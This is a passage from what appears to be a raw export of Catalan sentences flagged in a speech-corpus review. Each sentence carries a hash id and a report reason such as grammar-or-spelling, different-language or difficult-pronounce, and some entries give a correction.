una acció criminal era agreujada per prejudicis religiosos. 6ba4399c9d965b1942fbaf2b48b0464c5c1805ccbe2e4aa174dc35cf02be74b4 ca grammar-or-spelling De la nit al dia vam prendre tot el que ells sabien i llavors o vam llençar. 6b788dbfd7a822fb450c5d332e8ea93ad31e6ff34fd8a009baa8f3473de366a9 ca grammar-or-spelling Perquè les plantes s'inclinen cap al sol? 6baf6ba51f8bc43ad66a919b28afa6e86e3399dc29e9e19381cdf2a4ea72114f ca grammar-or-spelling El cabernet és molt típic i té un bon color i una a densa fragància. 6b88ce0e91bd8f20760b8647f5bdc9f4a3f3f04803a8ccf756af3ca726e8e91c ca grammar-or-spelling He d'anar al carrer de Guifré amb trasport públic. 6b9c2fd8de7bcd44018da500fc01cb5eac04b84912363c28a672484597d9549e ca grammar-or-spelling Es un valor molt raonable. 6b13567f8afe38a58caaf31297f24ad493b8daa174bd2ab41602b545b0accd79 ca grammar-or-spelling Sunglass Hut és part del grup italià Luxottica, l'empresa de ulleres més gran del món. 6a6f88d94a6acfe1ede6ab1bf4979e05ebdb47f054a51f421005a4fb75a88922 ca grammar-or-spelling Una versió de Mjolnir al Què hagués passat si? 6bddc84ba711573178c2ce439ab5742e917c78a69d21e52708063b3223a00520 ca grammar-or-spelling Una versió de Mjolnir al Què hagués passat si? 6bddc84ba711573178c2ce439ab5742e917c78a69d21e52708063b3223a00520 ca different-language Una versió de Mjolnir al Què hagués passat si? 6bddc84ba711573178c2ce439ab5742e917c78a69d21e52708063b3223a00520 ca difficult-pronounce Limelda mata a Vanessa mentre apuntava a Madlax, que entra en depressió com a conseqüència d'aquest fet. 6c0db1dbc21863756f821124956c1bfdc1370a4e23e61b9aa4b9766929670af4 ca grammar-or-spelling Viatja a València, Viena i Amsterdam. 6c4bd450af285b52321c56ebbd90f2570555e27d9b24b9cf055977bd6ad5e9ce ca grammar-or-spelling És necessari consultar al mèdic prescriptor abans de donar el pit. 6c42ae966e8da85a29f1cbcbe2a03ab852e233b299cc949502d86a18d1b6710f ca grammar-or-spelling La meva avia va ser operada de cataractes i ara torna a veure clarament. 6c5dc9c24fba8d553f1d787911fb8dfc23ab53aee61010b4e64499d17363317d ca grammar-or-spelling El grup només va reconèixer la "Xaria" com una font vàlida de dret. 6c32916e86886ecec8866892a12dc08a3d12983d98f644fd33b2555ec610dae4 ca grammar-or-spelling Un exemple és "Casta diva" de l'opera "Norma" de Vincenzo Bellini. 6c491f4afac0f60d916596d74bce2c1d4850a811d78c134fa1907abd2cb8a358 ca grammar-or-spelling Que es curin els malalts, que s'ajudi als desemparats, que s'assisteixi als pobres. 6c45294e65d5e8b7f14a3a0847cf44d276ea2059f92282acc4c00276caa68ca0 ca grammar-or-spelling A dalt, la fusta principal i un altre administrador de cerca a través de taquilles d'estudiants per a qualsevol cosa sospitós. 6c2d1c9bf890a8b82f8a46004080d0a91bdbfa493e4ca2ab1dc6943d035c8b79 ca grammar-or-spelling La banda es va emprendre de nou una llarga gira. 6b883d982f8f6c0967a99eb9825d11fc30df6f816345c5b648dcbf5bbce51fea ca grammar-or-spelling Vull anar al carrer de Vidiella amb trasport públic. 6c9a5a2a985bf0f34fb1dc5c1aac847d3cb1d347452cd39a903bcea20ff1d509 ca grammar-or-spelling Snell es burlava dels presos de què els passaria alguna cosa dràstica el dia de la seva execució. 6d150fdaafefb5b91110d3a94ee30b98fdbf1c545b9fbef253495743ccc8e235 ca grammar-or-spelling Després de les investigacions, es va determinar que l'incendia es devia al sobreescalfament d'un generador. 6cd362776412a83afb22a6f1813f3811d42856b04fd35e8814b1ee8e779c56ba ca grammar-or-spelling Els dofins mulars i els dofins de Hector endèmics que es troben e perill també sole estar a l'aigua. 6d3ecf018435ae86208fe6b99ec751433b9f9e1bac631910e858675d8dfa51ad ca grammar-or-spelling Com a resultat de la especulació, els patis són estrets i molts pisos ombrívols. 6d5569329af8a4e011a070fe9d90b37c8b24cb37df98a70eebb1369bd35c95f3 ca grammar-or-spelling Dotze penics feien un xílings i vint xílings, una lliura. 6d389599e9c3dac41ea60c865c60d792082e76a46d7a3a42c8d25c8c2cd6db68 ca grammar-or-spelling Hi havia marques de lligadures als sus turmells, canells i coll. 6d657887448107147b983ab6f002859f638e5c796be4506f34b618fe588cf1d4 ca grammar-or-spelling Què hi ha a la jardins del Rector Oliveras número vint-i-sis? 6d3bcf5491b3058088fbbc9008aaccfa9206affa0bc20e0e0971769a7c063119 ca grammar-or-spelling No obstant això, el terme ara sol incloure els homes. 6cea784f9d79945bfc600b0ecd548c039cf8e3f4a79cad86455a2241924c6ddf ca grammar-or-spelling S'el venera com a sant a les esglésies Catòliques Romanes i Ortodoxes Orientals. 6d77e3ed917ecb00816518c6f5fcfd785c7af70a7dd11c257667f33c045cd099 ca grammar-or-spelling És coautor de "Introducció a la Física Ionosfèrica" amb Henry Rishbeth. 6c6f166783d445f9f45689bf8c6b8598e57bc801b15f089ee29051b342a8584c ca grammar-or-spelling La Conferència es va celebrar per iniciativa de Govern d'Irlanda de Nord. 6daa89bdff809f41ed6a29d1d500da30a577fc164a9a6122e1cca7245ea8cc3d ca grammar-or-spelling Mentre no li demanessin diners, es feia amb el que no en demanava 567c1b583b6a4eb6c8a169aa137146d1bed1e03a8a10ad318a4140af23004ef6 ca grammar-or-spelling Qualsevol cosa de les que deia agafava aire de sentencia 52bcecaa65d9b2089e98c0f12d44690cf079f92889e5a6a951cfb24bf76f88f0 ca grammar-or-spelling Si en menges un saps lo que menges. 02fb4417750f1749295d04daff52c735b51612921483ce94572e3590147078c0 ca grammar-or-spelling Llavores valia mil duros, però avui en val més de vint mil 68e29952640706105a9e64a5698cf4937381276ceef9ff9584e7cc6fc6989f99 ca grammar-or-spelling Neutral d'historia, neutral de fets 23c08b1253b32f4d071912c6fbf62f017d2991fe956a4f32192de02c778ddb72 ca grammar-or-spelling El pis era no més pera dormir i pera guardar els cabals: 5e62e1462b7769adfa237d7a49dd7b8c7783f172bf7f1810d42b48f5ec646c51 ca grammar-or-spelling Van haver d'anar a Gracia més de vuit diumenges seguits 4a3ccd1ea76893197347b1fae8ff8ca3ad34d21f572eb7e63391331af7203f5b ca grammar-or-spelling Amb aquell estucat que de nou en nou ja fa flaira de florit 676293d11410e19bea65e004f2c78ab537b0a89f73473d8b6d329a58e235a45f ca grammar-or-spelling No et vaig dir més que lo que feia al cas. 64401a76f57031e8f2e07769450a535cb2fffba2c9e05099695f6412a311be5e ca grammar-or-spelling Li agradava també a n'ell tenir torra 21d9c3d58fc81801a545a94e3214ed20c4bf4acd51f6dbe0b6606bf5bf786137 ca grammar-or-spelling Es va batejar aquest tipus amb el nom del primer pacient que va notificar aquest trastorn. 6e09e05e9393b7aaa3210ca8cd2ffd1be53048f23265e8914243aa31a727b118 ca grammar-or-spelling O pera no criar-n'hi si no t'hi agraden 4d096ade311334dcfcfa99f3f530df6258561a14006ed8b876cfc74085bed904 ca grammar-or-spelling S'han identificar els trets que veritablement es poden considerar dimensions fonamentals del comportament. 6d1d0d1b059eb3182db242b40a2ace20f6fc7f101b281f473699d33c5630c31d ca grammar-or-spelling Li agradava també a n'ell tenir torra 21d9c3d58fc81801a545a94e3214ed20c4bf4acd51f6dbe0b6606bf5bf786137 ca grammar-or-spelling Un quart de ploma d'aigua viva, i am delit de viure 2a5c6a85fad56def3efa072680abf1d36facc83c052a4c0d24c158e9c3538696 ca grammar-or-spelling I pera endur-se'n els ous que feien 1a4e41d14ff0a95d0e2f3ec9f06b8755fd43aa924fc1af71348eb90baba09280 ca grammar-or-spelling Nova Delhi: Sage. 6e17484d4c7c66b7f2ea34319421a35de6aeae019f17ee758810fe53e24f44d7 ca different-language Els també van ser pioners al calendari perpetu, el cronògraf i el repetidor de minuts als rellotges. 6e55f62483baa30286adf1cd9966811041c9a03e6d39ae333380aa4f9a19f685 ca grammar-or-spelling On veien una barana hi carregaven l'adorno 195a31198e324597e039a221ff0f1818e63c6bfad6ae28df7e1ba17742158e97 ca grammar-or-spelling Allí on li allargava el seu curt enteniment nomes veia que la botiga 624f6b532a24249a3223fae7c12417c6af14cf84ebf43f7bc639af31d902c707 ca grammar-or-spelling Pera trobar una cosa al seu gust: poètica, però barata 522a26fe7639f9d4b8d730aa581c742c50989161cd2d4a14ae0cc523d7e95e30 ca grammar-or-spelling Per què es tenien d'escarrassar en el treball 0be78c5058519dfb76f0464bdc5c77b77355a779f637ae1dc7bae9424fa1a579 ca grammar-or-spelling Ocasionalment, u dels homes contava una història. 6dbfe20b55f09180cf145ee270c1ee12206d1363a2f98acb168f95b2cb290254 ca grammar-or-spelling Lúcid, irònic, i no ridicul. 3a89e47339f714b24eec40c5b4b58014313d28f9a594bc9da70e619a247e259d ca grammar-or-spelling Un quart de ploma d'aigua viva, i am delit de viure 2a5c6a85fad56def3efa072680abf1d36facc83c052a4c0d24c158e9c3538696 ca grammar-or-spelling Es va aixecar i va mirar la Celia salvatgement. 6e67794332335a6b2c9d4f9f56f569ead95851b65423131cc77e441c53e9f2f7 ca grammar-or-spelling No més havia votat un cop 29be9b0b18cf67d82491a39bc3f120d1affe26f32752f783a0ca5fa6c7bbb291 ca grammar-or-spelling Ni hi va haver cap ferit i no es va vessar petroli del petrolier. 6e405f61f9063c138f4281468f5cabcf3bc44b4dc7f9e19d901c2a5e68a27ef8 ca grammar-or-spelling Amistat am mida, fe am mida, caritat am mida, tot am mida 69368f65771b28627da2355ff3caf58cee500e817de85b1b63353db912aab32a ca grammar-or-spelling I, ja no poguent més, va anar al gra. 58741548d16bbf84b509d56e3ae65228a337a98124692c4153f75e11a14f3ba5 ca grammar-or-spelling Perquè tenia el cap gros, l’havien pres per testa plena de substancia 0f6574b1a938ffea5a2a514d119dd3fd77f509e6bf56883b56ab4607bfacd642 ca grammar-or-spelling A més, algunes variables sysctl no es poden modificar un cop iniciat el sistema. 6e867b4a11a56a806611ef3cd994d54dd575619118eb86ee660065bf79a96a85 ca grammar-or-spelling Els botiguers que tenen parroquia no s'hi tenen de comprometre 1f1412eb9a3844509f21db1632005c5b307129c85e2a7fe0a2ab1ffca6907636 ca grammar-or-spelling És culpable d'enfocar-se en ell mateix estant en sí mateix i no per sí mateix. 6eae51040f1dca9795c0d65a8bd976b601102f689765a5ffa3ff35e9d297d9fc ca grammar-or-spelling Era molt més conegut pel seu nom professional, Sr. Sebastià. 6ea7902ae86a0d808e9535c3760287a1429195245df015e9072fe00bd093bd23 ca grammar-or-spelling La familia va plorar una estona per ordre de sentiment 230f9aa4762d61d6b69ae5d56d424dcdaec0e9c19769e87e7d4d5f22c7a46a97 ca grammar-or-spelling Aquest interès inferior, relatiu i secundari ve a ésser l'il·luminació… 6eda2e72b033cc3d8aef292a8fa85a9ff659154c3d9380ed37dbc8af270b5c15 ca grammar-or-spelling En canvi, el ximple de Butler va colpejar a Grant, clavant un ganxo dret amb la mà nua a la mandíbula. 6e8496fd803ec9f8cae227d468db25846200f7055a17964dace15295811e45bb ca grammar-or-spelling Era tapar-se'l cos de l'intemperie 57b884d3f33a1c9bccfcfae9c590f19bbd8cf5a4ee76cb28e00d109eac6fcc15 ca grammar-or-spelling La paret de tanca, feta, i am vidre encastats 246d603a63e54b45c6cc4c4e638821f5ef9d7c056fb6237a7d27ffc60de27b4c ca grammar-or-spelling Hauria trobat a algú que l'escrivís, per necessitat. 6ecadd9e4de68ecc7a2a58b1bc67ad8fc9c29054dacf7ad184954a468c97e6c9 ca grammar-or-spelling Talos es descrit pels grecs amb dues versions. 6edf818a68fe0c9a6ff92d3cea302716da6cc60c4c62ee2749c2b730f0f5bd60 ca grammar-or-spelling Aquesta competició es va celebrar a Montecarlo, Mònaco. 6f19d4e4f498d40808fb12d15792d103cdbfa17eed991e0ba09c3a4801969aee ca grammar-or-spelling No més desitjos de fer diners, i més diners 6f1d936fdff93a9336fe74ca045f6c48fb1f3e69d995af649a25397a268505d6 ca grammar-or-spelling El decà dels estudiants aconsella al govern estudiantil. 6ef8d07fd9e91ae23fb1e52a5bd0f31b5d62686d4d7fb6944922319de0be8436 ca grammar-or-spelling El deseixit alumne en ja tenia pensat el què faria. 6ee7b1dfaabda871a1463745b724cef048bca9cd7cf7bcb7c1ec2e9d97600832 ca grammar-or-spelling Es pot veure que l'analitzador sintàctic predictiu que es mostra més abaix reflexa la gramàtica que hi ha abans. 6ee4370ce83d6ee9aa7cea71acbc4c210609d99e350908b2b294e8514845214a ca grammar-or-spelling Missa de Bach en B Menor al banquet de Belshazzar de William Walton. 6f3b8dfaab662c3b81949c4b3d49f5778efcd3c6b7437d7e89ec6c438a2d91af ca grammar-or-spelling Missa de Bach en B Menor al banquet de Belshazzar de William Walton. 6f3b8dfaab662c3b81949c4b3d49f5778efcd3c6b7437d7e89ec6c438a2d91af ca difficult-pronounce Missa de Bach en B Menor al banquet de Belshazzar de William Walton. 6f3b8dfaab662c3b81949c4b3d49f5778efcd3c6b7437d7e89ec6c438a2d91af ca different-language El sentit de l'humor de Hernani li impedeix atacar un home que no es defensi. 6f18b86e7f5db10910194ee9141735ce495981ba119a48c79a25ed75ac465df1 ca grammar-or-spelling Així que després de tots aquests dos es poden casar. 6ec86de2af44a37a36b975bf10e88a39ea384296191cd906e2174e53ed3fe6fd ca grammar-or-spelling Bastava amb romandre ferm en la vida de cada un per a que les il·legitimitats es convertiren en legitimitats. 6ed394a827e5949d4745670761c1d2eacd1830abdc061b1d98ee8e7f690c3aca ca grammar-or-spelling El Perú només a classificat un aixecador de pesos. 7000777a0bcce333f4580ed8cfe5b968777337fd93c06d1763cc8139e7df6e39 ca grammar-or-spelling He d'anar a Sant Guim de Freixenet amb trasport públic dijous a les tres. 6f91d457711d8409c62e29bdb1e406a25016f81a2880017f65fbe78d03e1f5ef ca grammar-or-spelling Llavors Frady va intentar fugir i es va tacar a la passarel·la per els de sota. 70604b434e8e0c52269fdcbd6658503a8d34251fdc06c7e66fcef587b172e93c ca grammar-or-spelling La tripulació la va anomenar "Tiny". 705e1aff88706b3fe156f7bed413660b48e8c88ffee712001805d49c44458fa9 ca grammar-or-spelling Tarlac City és la més gran basada en la zona de terra. 705ffb8d7a996afc3c41308964eb52dc7e7e2482151a5c7228ca31568a19afd7 ca grammar-or-spelling Sandra Sifford també s'enfronta un càrrec addicional per rebre béns robats. 70738b7cc25be46aab1c537cf00c0e19db44a082af39e284a921904212cb127f ca grammar-or-spelling Això va impressionar tant al Pratt que immediatament el va contractar per a la seva pròpia organització. 7016e6a0ef7b87e9bcf91a3fdf348c8396c6a4d0c232df366e2dfc41088aff9f ca grammar-or-spelling La gent es reuneix per a mirar a un artista del carrer. 70a87eecbf73f7a2b4ea76e219d4da23c198ae0d85a3785544d118d391b3b0de ca grammar-or-spelling Va rebre el nom del seu fundador, Homer I. Stacy. 709a93b39db3d2f9464720b1ddb69f8bf995721f1f8cd0327269a37364b95579 ca grammar-or-spelling Una jove està remena alguna cosa de color groc en un bol. 7091cf2b248acb54fcc6e1b4111dbb6c4f52f44de1609b7c2de066fc30d707f0 ca grammar-or-spelling Quatre "jins" de taekwondo tailandesos es van classificar per als propers events. 702646e0b6d742947ed413fb209d0120d0aabd6efd9d123e18175865777e9a9c ca grammar-or-spelling És l'església més gran del comptat. 705a3f0aaa09af5a61c0c69514b5669f6fc62ffb025465fa9f3c70ad8a7c472c ca grammar-or-spelling Els símptomes de la infecció són diarrea, estrenyiment i dolor abdominal. 70d269702ac601fda0cdcb1e3cfa576d13723f05d674baca526b40c8ff51e710 ca grammar-or-spelling Van portar un plat de verdura que tots el van mirar amb despreci. 70dc133cf0051068d561719502fd9ae855a14b03925c66be46b190c27f40bfa3 ca grammar-or-spelling A què es deu el final feliç de Lídia? 70da0524b66871b87db78c8f844cdd42def4f7623fb99a7ffa0f3721d2496df1 ca grammar-or-spelling Va ser el primer laic en ser elegit per a aquest càrrec. 70e8922905d532fd8753e2b78af64a6af81b54f7b031d9d804014447eaa45c60 ca grammar-or-spelling Dues senyores confuses donant voltes després de l'event. 70d0b322219da967a2e504842876b07be720c9d9bdf50df195875d5065c3d6c0 ca grammar-or-spelling Volien sobre tot verdor: una mica de paisatge 70bd2a4f67ace7a62637719b3dfbe87af1fcddecf61f7e8eb0ed1b26a58a9d16 ca grammar-or-spelling A més, hi han comunitats tant reals com fictícies que comparteixen el nom. 710f9f09b001fa7a7b7e0a2f4d4dcc6099e2881ff399193bd09acba6b5ea1e02 ca grammar-or-spelling En ambdues finals, va vèncer a Pete Sampras. 7109e43c06a754318fa1fb9dc5a16bee9e002a5cf9351bb012844518a8bcf5bc ca grammar-or-spelling El desafortunat Sr. Yokomoto va destruir la propietat pública i va acabar perdent la feina. 710329a75f9176869cac5ac45138d0b26dfe7728bb14b7a6eb7fda4f7cad4a26 ca grammar-or-spelling Un home amb una camisa blava sosté un micròfon a un home amb un vestit jaqueta negre. 71246fa1aeb60f6881fe11d3952605a6c28e3aa2798a02156c0a7bbcd41283a9 ca grammar-or-spelling Les conques inguinals estan separades pel fascia lata. 7028002226798b85feac644e886fb64277a6fbcdb7612ab62d253e9406a4bd97 ca grammar-or-spelling Un home està de peu en una habitació desordenada amb el mobiliari. 713aa7567a715f6ac9e6deeeedd464cd0800fdae8f23064a84456d03c6057489 ca grammar-or-spelling Els consells de sentit comú de"n Manning eren molt populars i es van imitar a tota la nació. 7149db4f33143d2ca07781bbefa4373b7cf6ea17d47e2e9fa722e5664414a055 ca grammar-or-spelling Aquest testament es va declarar falsificar i van enjudiciar Means. 710516103f4240e6f53bc51621625ed9c66d9935beeddcc796f344d8cb308af1 ca grammar-or-spelling L'agencia publica notícies en àrab i anglès. 71195deb995d17762a1b880df3e65c14964f0e36ecddd56c8b987dd1aa249976 ca grammar-or-spelling M'agradaria anar a Vall de Cardós amb trasport públic. 713bd70ed6d87db38d3f287aee3fdc2b3672fe166699e393eaaa735a9f706df0 ca grammar-or-spelling M'agradaria anar al carrer de les Fages amb trasport públic. 70ab0ff53caa670bb54bd4596a01d28a50e29c93d9ab59f822e678dafbec7ca0 ca grammar-or-spelling Els àrabs iranians en particular han experimentar discriminació racial. 70922d7d48569ba1f83f5a31a52b703b2c9a13d2732b59aed2781e3fbe4e7319 ca grammar-or-spelling Se la sol representar amb un vestit de pell de color vermell o verd. 71b88ccd29cd6b2849d42d3a4fd4538f8a4f940ed79e7d8f67dd4cdb7f142420 ca grammar-or-spelling 'Res, tan se val?', va insistir el rei. 71a94d5985d339f3d5001b2a61bc559de6dce9f847abfaca7c1068a704fc845e ca grammar-or-spelling Encara que la estació està extremadament ocupada en hores punta, el flux és molt unilateral. 71d55011de7202b82b721d65af42016a0da1c4e63c26244e944d1c551bc653a2 ca grammar-or-spelling Va ser la primera dona en ser nomenada ministra d'Afers Exteriors a Itàlia. 71b2182f5ad407f3de2477e28a93fe68c59af9165057063458182d1d148a82e9 ca grammar-or-spelling El suggeriment va sorprendre a tothom que el va sentir. 71d06648bd9e1d7dcb4e0af6fc024a09cf73662d0953c9b16c1bd12a808a6356 ca grammar-or-spelling Vol que fer el reemborsament o prefereix que li portem el plat que falta? 057ba7aeb2a7af0d243593ec876971a8b28ab0346c3d4e560684bd664b4391e8 ca grammar-or-spelling Quin és el codi postal d'Iàtova? 0d8e5b5c1de1bf85c69557d946a872f747f14b90d89cf6a84354fbd207668d5e ca Quin és el codi postal de Iàtova? Seria possible afegir al meu germà a la meva assegurança de cotxe? 10088a34d76c212c986b0910ad69daa14ebeb30ffb844934b2a89f02a5353b8a ca Seria possible afegir el meu germà a la meva assegurança de cotxe? Una punta d'agre, de dolç, de salat, etc. 13c3ebeacde237cc1938d5b05d7a0cdbf2854d5008d1f6ab0827253e0697e1d1 ca Una punta d'agre, de dolç, de salat, etcètera. Voldria demanar cita per aquest divendres. 169da0d1587eefdeeff8750bfb5ad116326a3f3879420433456483b15071ca7e ca Voldria demanar hora per aquest divendres. A on és la cursa? 12d2fb12805604f88546ab3a52483e2f70cda05cdd15a0ff4a6fc85980b5e48f ca On és la cursa? Una malaltia que atacava a tothom sense cap discrim. 2353360268e43effb44cc7ee49ec805b9b3e67e51adfc8fd025f68137ce0923a ca Una malaltia que atacava tothom sense cap discriminació. Ja han passat dues rafegues d'excursionistes. 2176ad6aaee4d09e7b464f6eac4fec04666dc8b790df55a2fc10d4a7aeb3429a ca grammar-or-spelling Segueix passant cada tres min en els nocturns també? 17cec5124f7abf732d7b4d13b561b1eefb725d5b2bf28a1dfa7073b905894dcd ca grammar-or-spelling A quina hora passa el primer autobús per el Ràfol de Salem demà? 1d2d5836b7ed3a0c5eb6d0fca1308aa1c6aa92b44ef144db92b07ed72abed40d ca A quina hora passa el primer autobús pel Ràfol de Salem demà? Doni'm una adreça a on enviar-li la comanda, si us plau. 21c32d7e2c18f38eeb9e1cd7926a2dddf32f07d76ed5654a22e1c962cf867f10 ca Doni'm una adreça on enviar-li la comanda, si us plau. Am tant poca serietat que no hi havia manera d'entendre-ho 15eab6e78b3a3487bef9c845319900951f7f1e7c3fcd8e853796de6da4219131 ca grammar-or-spelling El vicari Mulet, de la Llosa, fon traslladat a un poblet de mala mort. 071d20454fd39a820996aedafea5a6dc633bfbf59b92a32ce671068229ef2559 ca grammar-or-spelling Que botifarra tan seca que no li puc traure el suc! 49f8420805b105257e7cc1d253986787e4ce7cb3229ef2905a24902e01b33b61 ca grammar-or-spelling Era l'autocar que va des de Barcelona fins a Olot al km cent vint-i-tres. 4e3eb181e53ae0e876bdd375b0a472b4fb80e07a563750ea3b781a107cd23195 ca grammar-or-spelling I podria incloure a la meva filla. 4d2d24cc05a2ac4785c2b285b52bbcb722ec8d39c0a28530df2426024ef0bb0e ca I podria incloure la meva filla. Ens costa que hi ha una vaga de personal de neteja. 4ecd81ce4bd2b1d6ea55f648b1a092118aeaa80a91b0c9d2fe926bd3b40f8c49 ca Ens consta que hi ha una vaga de personal de neteja. A on ho puc fer? 4bb460fb41429b9b48d658923f56e850feed7e6137fb8dc18a0f2cec439b82cf ca On ho puc fer? Tenir mil duros en torra ja li venia bé 5082f7cb5c5b5d2c8f7651d842ec96948546999980d3dd945abf6938f075cecc ca grammar-or-spelling L'altre dia el vaig veure per el Fondó de les Neus. 51b51ff91c9c6b6228ca623c46ee6f5ac50e221ed0163dfa0b3e9c382a24598c ca grammar-or-spelling Moltes gràcies per comptar en nosaltres. 530ae6d5e8be8f45c67615d661cef14e6481ea7a98d0e6986625b8747f6f46bc ca Moltes gràcies per comptar amb nosaltres. El podia distreure de lo més serio 52637e43d374b412fe749b12f316185446ae70450c9780fa0fb317446a864527 ca grammar-or-spelling I altres eines que no eren pera curar cap mena de malaltia. 607a7fa9b44271b82211b2ac33f8add50c8aebebb2178deb24dd34fc8f438b2c ca grammar-or-spelling On està eixa caixeta Riu avall se n’haurà anat. 66c02ba4dbd34441c9c48834fd842a035626d6d79cdec6b01979225e262254eb ca grammar-or-spelling Molts municipis van obtenir l"estatus de ciutat sota aquest estàndard simplificat. 732fc53c09a85634b22ecbae9b5987a2a0d1dfbc382c61a57477f1f934c770c3 ca grammar-or-spelling Per anar a Sant Antoni de Portmany has de fer molta marrada. 740c6299b3906c6bf200f43e5b69e3df92f85f9952f64db5c8473cf0cd2a69c7 ca difficult-pronounce En Bregeda sovint passa llargues temporades a Hawaii. 73d8c6df4c97aabe2b6bc8f845efff5b8c487d1d2125eaf8c8ef58a39922d33b ca difficult-pronounce Va reforçar la infanteria i l'artilleria. 73f329ce40eef9c9c3f1334bd36130d8b55a83e45b6b755352b3301e32b842b9 ca difficult-pronounce Em dic Blai Perpiña: pe, e, erra, pe, i, enya, a. 74069090643dd8c16892d1590caad11a44a5dbb5050199da045e1a39c6decb79 ca grammar-or-spelling Quan va arribar el ferrocarril, el ritme de creixement de la població va augmentar. 73e7a99798f94efb423b9f93a7f38dfd1ec4c914064ff2be92226b8dab9be385 ca grammar-or-spelling El seu primer matrimoni amb Ethel Werfel va acabar en divorci després de vint-i-cinc anys. 740a65dd219e4c70e3dde7d0fee7ac2ef3abcfd779bccb7b55e53a63556688a5 ca difficult-pronounce El retrunyir sord dels trons llunyans. 74044dbb1abebe9036870f04b6ad9fb5eda5e2fd31a75c9156a88e569549019c ca difficult-pronounce Sota Premier Parks, es van fer diversos canvis al parc. 73f53b073e87b8b672d93b3af446502fa77e7b3d9e7a4a95560f163986e9e017 ca difficult-pronounce S'hi enumeren el títol de la pel·lícula en anglès, el títol original, el país d'origen i l'any de producció. 73bb69a69d7d293c1f3b268d041e6acc557ddfa1806e67060561f561e04c49a7 ca grammar-or-spelling Quines botigues hi ha al carrer de Sant Gil? 73863de340a5b3873a9cfec9e3d747e4460450b6fbc433e6572c03588a899419 ca No hi trobo cap incorrecció A qui van enviar l'espècimen trobat? 73e6ccdae3d8459c4b5791e6f9519fd90bc3f3f7342bd5d8acdc3b5dd8efc8d6 ca grammar-or-spelling Les màquines s'abastien des de la cuina de darrere. 73de91d704f920ebe3b3caf8c4f62d8e43f4eb59b2b339bece7363098e75414f ca difficult-pronounce Quant dura el trajecte en autobús fins a Mutxamel? 73f92870746886c3183c8bc96e6f1ae3b5a475ef9dc76e03174cc93dd82f7a5d ca difficult-pronounce Una dona que s'asseu a l'herba davant la torre inclinada de Pisa. 73de222dbcc4e556853820fa5f1b7f50758a72b999425a27640ec2a6608f30ce ca grammar-or-spelling Es mou sols per l'interès. 739c1f1b366f03d752355209e4ba1f5012c6c95a43a42ae1a99a29fc715f0702 ca grammar-or-spelling Avui dia encara funcionen tots dues, junt amb set fàbriques de cervesa més a la mateixa població. 749f692781776c3ec4ae2dccabe2898e200de7afdbd8218a58d4913b74538972 ca grammar-or-spelling Va considerar el seu temps a tots dos com a "anys perduts". 75e42817d6810b39a23d28512fd24f2ee6c191cb8aad00decfc9fa622e2d89dd ca grammar-or-spelling Va produir l'èxit més important de Gene Chandler, "Duke Of Earl" per a Vee-Jay. 760f9d9c7d39f14f59c27ebc896404c26cb99f41a3265d0ae9d8abd74adfa453 ca different-language Marca el sis, setanta-nou, quaranta-nou, setanta-dos, seixanta-nou. 76a9f56d1da5095e62b7da8d7283c3a73b3d2b0b1bdb31a642ea5516ac2296d4 ca No em deixa entegistrar M'agradaria anar al carrer de Llobet amb trasport públic. 76533eb6206826ed719b71bd73ec6bf40f56ff1182e49d12ab0fc3eeafb2ef99 ca grammar-or-spelling El Centre de Salut Tyoply Klyuch opera prop d'aquestes deus. 779ae9ac4d19d51bf92768a43669b4fd02aa507206d2792804b0826e28340365 ca difficult-pronounce Íntimament sabent el terreny inhòspit, Villa tenia poc problemes per evadir als seus persegueixen. 787ddaa7a807dc090367702db46c370fa37333d45e682d9ab97fb07627237b54 ca grammar-or-spelling Més endavant van donar l'alta a Robinson perquè continues fent curses. 78be77496a57b06274116d9a604870db8e5874d2b76f313165c0b6b1439b3fdd ca grammar-or-spelling Barba es va quedar amb Grotowski tres anys. 795e791e464896854fd4fc6fc4338737933574683f0b5cd2f16843a7d1aebf12 ca difficult-pronounce Mira'm quina és la millor manera d'anar a Bellvís amb moto. 79c5c79d452959f9623ac98175e2338a9c4d0b9e5957d512e692d23618d3145c ca grammar-or-spelling Va ser llançat tant en ambdós formats enquadernació cartoné com a la rústica. 7957d8b4364e535ecc4f26cc95cac94c1b1507614b1a38d3c0b4fc6d7a3bb020 ca grammar-or-spelling Va ser llançat tant en ambdós formats enquadernació cartoné com a la rústica. 7957d8b4364e535ecc4f26cc95cac94c1b1507614b1a38d3c0b4fc6d7a3bb020 ca difficult-pronounce Va recuperar diversos europeus i una dotzena de calusa retinguts com a esclaus per Tocobaga. 7a80e044eb4e72139211e7aa383fad3dcda87d2ad4244d70f25aeee012be0217 ca Li dono al micròfon però no enregistra res. He d'anar a Castellví de la Marca amb trasport públic divendres a dos quarts i cinc de set. 7cd693efde1d4ab685419e4a9b6059da18105681224ff1e806ff337c5832c2bd ca El sistema diu que l'enregistrament es massa llarc Encara no s'ha fixat una data pel judici. 7e94d87acb051920189cfd164cbbee34517ce154cf55291dc95ae1c68124d11c ca difficult-pronounce Com es fa per anar de la rambla de la Muntanya al carrer del Joncar? 7f171375e5a71381fef1e7a92ba702bc388b713499d495acf5e5f74124a95615 ca No puc fer funcionar el micro Va agafar una ampolla de vi de la seva motxilla i va en va beure una mica. 7ffdab069e4664cfbc6812671ec10884ba55c9d1dd9bfbfe0470226cebae53bd ca grammar-or-spelling Target no va participar en assumptes públics durant el regne del terror. 7fff0523f055b2df1f6e0808e941e5a0ef24c95be376e447561d680592105ce2 ca grammar-or-spelling El riu Mahi passa pel districte. 802f9036cf992b54b1de459ba9b7f23354f67d09bb00db9f643f6e8ed713a4be ca different-language No obtenim cap comissió per venta, només estem aquí per ajudar. 80e01f1de35ca667a5491c7598fef36cc668f66ff6f08943d4e93f06f7a90ec1 ca grammar-or-spelling A l'edifici de la estació hi ha una taquilla amb personal i una sala d'espera. 81a967246eb2d54aed0ba274d04ecea32deaeadba3b8433e59a3d91d2b11fa4e ca grammar-or-spelling Els estalvis moderns es fan amb metal, fusta, ceràmica, tela, silicona o suro. 81c316f8d1b85e39896dce3fb17b3a2db10015d608f00cf9c489daa07fa03e22 ca grammar-or-spelling Ella era l"única dona cirurgiana que coneixia. 81b1c988d5dafd3ceb7daa30fb32e770941b953647b72d8e7a419b4d112fadad ca grammar-or-spelling Però per això Beneke en no savi significava una psicologia fonamentada en la fisiologia. 8368b0ee7972cfe0e61e453d48be4a1879e49bf9f016719e6a547df0d6b67fd8 ca grammar-or-spelling Com puc arribar a Torregrossa amb trasport públic? 83f3885350dd5789a62884e32ac52327116ab2832fad9074097dbeb260199fd1 ca grammar-or-spelling El partit a Croydon és el partit més important fins ara a Surrey. 847c71a0ebace3b0131f585dee1b24ece79975906d2430a374fa20eda9f54614 ca different-language El quart derivat de la 